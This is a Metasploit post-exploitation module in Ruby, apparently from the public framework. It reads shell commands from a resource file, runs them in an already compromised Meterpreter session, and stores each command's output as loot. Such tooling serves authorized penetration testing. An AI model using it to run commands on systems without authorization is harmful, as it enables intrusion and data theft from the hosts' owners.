##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Multi Gather Run Shell Command Resource File',
        'Description' => %q{
          This module will read shell commands from a resource file and
          execute the commands in the specified Meterpreter or shell session.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
        'Platform' => %w[bsd linux osx unix win],
        'SessionTypes' => ['meterpreter']
      )
    )
    register_options(
      [
        OptString.new('RESOURCE', [true, 'Full path to resource file to read commands from.', nil])

      ]
    )
  end

  # Run Method for when run command is issued
  def run
    print_status("Running module against #{sysinfo['Computer']}")
    if !::File.exist?(datastore['RESOURCE'])
      raise 'Resource File does not exist!'
    else
      ::File.open(datastore['RESOURCE'], 'rb').each_line do |cmd|
        next if cmd.strip.empty?
        next if cmd[0, 1] == '#'

        begin
          tmpout = "\n"
          tmpout << "*****************************************\n"
          tmpout << "      Output of #{cmd}\n"
          tmpout << "*****************************************\n"
          print_status "Running command #{cmd.chomp}"
          tmpout << cmd_exec(cmd.chomp)
          vprint_status tmpout
          command_log = store_loot('host.command', 'text/plain', session, tmpout,
                                   "#{cmd.gsub(%r{\.|/|\s}, '_')}.txt", "Command Output \'#{cmd.chomp}\'")
          print_good("Command output saved to: #{command_log}")
        rescue ::Exception => e
          print_bad("Error Running Command #{cmd.chomp}: #{e.class} #{e}")
        end
      end
    end
  end
end